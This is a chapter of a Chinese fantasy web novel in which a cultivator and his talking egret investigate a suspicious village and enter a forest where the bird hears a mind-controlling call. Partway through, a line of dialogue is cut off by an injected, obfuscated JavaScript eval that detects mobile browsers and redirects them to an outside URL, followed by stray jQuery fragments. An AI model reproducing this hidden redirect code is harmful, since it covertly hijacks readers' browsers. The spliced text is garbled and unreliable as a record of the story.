5. 第五章

作品:《仙君你靠钓鱼养我啊

    “喂!你是谁?干嘛藏在水里啊!”白鹭低下头,就像往常捕猎那样直直盯着水面。


    黄褐色的喙离水面只有一丝距离,她静静地等着对方的回应。


    但是当小鸟认真盯着水面的时候,倒影也认真地盯着她,她扎着两个双丫髻,和上午白鹭见过的小女孩长得差不多。


    “你真的不告诉我你是谁吗?”小鸟发出最后警告。


    倒影只是冲她微笑着,荡起一圈圈涟漪。


    白鹭也不再犹豫,飞起身来,长着嘴使劲向水下啄去。


    却奈何惊起千层浪,沾湿了白鹭的羽毛,也搅散了水里所有的踪迹,水纹之后便是平静。


    当小鸟再去水边时,先前的倒影反倒是她的幻觉似的。


    .


    江渚流和村长仔细聊过后,又细细问过老婆婆关于不存在的小孩的踪迹,他也算是察觉到了其中的蹊跷。


    总而言之,决不可听信村长的一面之词。


    但是,江渚流没有表现出来,还是表现得十分相信他们的话,顺着老婆婆的话接了过来。


    “是啊,应该是我多虑了。只是外孙而已,又怎么可能在这里常住呢?”


    村长又从厨房里端来一壶热茶,“仙长,你快尝尝我们村子的特产,这可是独一份的灵茶呢!”


    “唉、这可使不得。”江渚流赶紧摆摆手,“您实在是太客气了。”


    “没事,这事也不是很快能够解决的,我们也不希望扰了仙长兴致。”村长弯着腰,给江渚流添了满满一盅茶。


    江渚流推脱不得,最后还是拿上了茶杯,先是在鼻下细细嗅闻了一番,确实清香扑鼻,有些许灵气在其中。


    也是对自己实力的自信,他还是细呷一口,对着村长,他大声赞叹道:“确是好茶呀!”


    “感觉我喝下这茶,离仙家都又进一步了,有望在离世前求得大道吧!”江渚流接着又把杯中茶水一饮而尽。


    村长见他也是确实喝下这茶,也是放下心来,笑容都更加真切些。


    “那您一定要多多品尝,都是自家种的,还有很多呢!”接着,又想给江渚流杯中添置茶水。


    江渚流却是站起身来,走到屋外,四处望了望,“怎么不见我家白鹭呢?”


    “毕竟是畜牲嘛,它要去哪儿,又怎么管得了呢?”


    反正已经确定村子里的不对劲,江渚流也不愿再和他们多费口舌。


    这村子里并不安全,又怎么能让这只跟着自己的小鸟单独行动呢?还是要保证她的安危。


    正当他在思索白鹭会去哪儿了,而且等她回来时一定要施个法术,方便感应到她的位置时,一个白色的身影闯入江渚流的视线。


    “老头儿,老头儿,我在这儿呢!”白鹭大声叫着。


    江渚流还来不及欣喜,村长就插话说:“仙长啊,您可否让您这鸟儿叫声小些呢?这嗓音实在是……有些难以入耳了……我还以为所有鸟儿叫声都是悦耳的呢!”


    谁料白鹭一听见这话就炸开了锅,“你说就说了,每个人都说我的声音不好听,你怎么还一直说,竟然还拿我和其他鸟儿对比,你这人——真坏!”


    于是,在村长听来,这鸟的音量竟然不减反增,在他耳朵里听着犹如魔音贯耳,让人头疼。


    江渚流在一旁看见村长这幅表现,也是皱起了眉头,心想:这人是否反应有些太过了呢?就算难听也不至于难受吧?……还是说,小鸟的叫声有其他用途?


    所以,江渚流让白鹭飞到他的肩头,对她悄悄传音:“先别叫,并非难听,而是我感觉你的声音还有其他用途。”


    “看在你的份上!”白鹭从他的左肩又绕到他的右肩,但确实没有再发声了。


    “这个小家伙确实挺听话的。”村长笑笑。


    “人齐了,那接下来,就麻烦村长带我们过去了。”江渚流说。


    “要不再休息会儿,才吃完饭就过去会不会太麻烦?”


    “速战速决。”


    村长带着江渚流来到了村后的一片树林处,望过去全是榕树,且这里是南方,虽然已入冬,但是树木依旧翠绿,郁郁葱葱。


    远远望过去也见不到有什么异常的情况,而且他本来以为那茶水会有什么蹊跷,但是现在看来也并非如此。


    江渚流又靠近了些,仔细感受了一番,确实没有什么大妖的气息,这里毕竟是人间,灵气稀少,少有仙家和妖族在这里生存。


    于是,他转头对村长说:“路既已带到,那接下来就容我们自己探查了,不劳烦村长了。”


    “不麻烦、不麻烦,这可是关乎一个村性命的大事,怎么会麻烦呢?”村长摆摆手,一副可靠的样子。


    江渚流却反对:“如今正值新年,村里一定有许多大事需要您主持,而且我也需要村长再帮我打听打听已经失忆了的那几户人家。”


    “那行吧,仙长可一定要注意安全呐!”村长挥挥手,还是离开了。


    最后留下江渚流和白鹭站在榕树林前,也是这时他们才有了独立空间。


    就在江渚流要迈步踏进榕树林时,白鹭叫住了他:“等等!我有事要说。”


    江渚流把白鹭抱在自己怀里,看着她的眼睛:“说吧!”


    “就是,我刚刚去了河边,发现有点奇怪的事,就是我的倒影不是我……怎么解释呢?”小鸟有些懊恼地低下了头。


    “唉——我都没学好怎么说人话,都不知道怎么说,就是那个倒影有点像上午第一个发现我的小女孩的样子,反正很奇怪!”小鸟偏了偏头。


    最后她忍不住发泄道:“哪只鸟的倒影不是鸟?变成人也太丑了!简直受不了。”


    “停停停,我听懂了,那我们现在去河边看看?”江渚流提议。


    白鹭却说!“要不还是去树林里逛逛吧?我实在是不喜欢这个村长,万一他问你什么呢?”


    江渚流也立马想到自己的身份,自己既是来到了人世间,便要遵守人间的规矩,不可妄用法术,打破平衡。因此也不可直接与人产生冲突。


    ——来到人世间,就要以人的身份存在。


    “你害怕吗?“江渚流问道。


    “怕什么?”白鹭咂咂嘴,嘴巴好空,想吃东西了。


    江渚流回:“见到那不同寻常的一幕……看到的倒影之类的。”


    “不怕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737463|157374||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,没你可怕,当初把我关在那里,出也出不来,真是要冷死了……”想到当初自己那惨兮兮的模样,小鸟扭头就叼了一下老头的手臂。


    “你是真的很可恶!很可恶!”小鸟强调。


    “抱歉,是我的过错,至少在你离开我之前,我一定会把你养得白白胖胖的,绝不会让你饿着!”江渚流再次承诺。


    至于刚刚小鸟在手臂上叼的那块肉,“力气还挺大!”江渚流叹道。


    但是他也不敢去揉,这确实是他的不是。


    “那你乖乖蹲在我的肩头,遇到不对劲就给我说,有危险你就先跑,好吗?”江渚流侧头对白鹭说。


    阳光斜斜地撒在他的脸上,眼睛映着光是那么透亮,可以看出没有被胡须遮住的额头是那样的光洁,不似寻常老者。


    “老头,仔细看看,你好像跟其他老人家不一样呢?”白鹭歪歪头,小小的眼睛仔细盯着他。


    “或许是胡子特别白,钓鱼技术特别好吧。”江渚流自夸道。


    “哦!”白鹭补充,“还特别自恋!”


    “走了,快进去,记得抓紧我!”江渚流还是反复叮嘱道。


    白鹭蹲在江渚流肩头,时不时又在他头上蹲着,但是当她靠近树林时,感受到了一种莫名的呼唤。


    她拍了拍翅膀,没有理会,只是用喙梳理自己的羽毛,在阳光下,这些羽毛像是在发光。


    江渚流则是从一旁的落叶里捡了一个趁手的树枝,握在手里,警惕地向前走去。


    树林很正常,但越往里走,就是各处树木盘根错节,树影翳翳,遮天蔽日,透不进一丝阳光。


    “老头,这树林里好黑啊!我都要看不见了。”白鹭有些害怕,这种树林不便飞行,所以连她的一个同类都没有。


    “而且,这里都没有小鸟,我还说找他们打听打听消息呢!”白鹭叽叽喳喳地说着。


    “这里的确很奇怪,你自己要当心。”江渚流用树枝扒开垂吊着的藤蔓。


    而且这里也实在是太安静了,只有江渚流一人踩在枯叶上的声音,且几乎没有行人行走的痕迹。


    但是那种呼唤声越来越强烈,要让自己进到树林深处,似乎马上要控制自己的神志,白鹭大叫:


    “臭老头,有人喊我去树林!”


    “谁在喊你?能听出来吗?”江渚流问道。


    “不知道,声音是从我脑袋里传出来的,不是听见的。”小鸟还算是冷静地回答到。


    但是脑袋越来越难受,她使劲甩甩头,想要把这个声音甩出去。


    江渚流有些担忧地问着:“小鸟?小鸟?你没事吧?”


    “脑袋有点昏,有点想睡觉。”白鹭声音也越来越小,仿佛下一秒就要睡过去。


    但是她马上又回过神来,告诉江渚流:“朝右走!”


    江渚流不敢犹豫,直直朝右走去。


    这时,他想到了师父留下的生机二字,是这只小鸟吗?他摸了摸蹲在肩头的白色小生灵。


    仔细想想,确实是有所异常,他们的相遇,以及小鸟那超出常人的对危险的感知能力,是师父一早就预见的吗?所以师父要求自己在人间行走一年。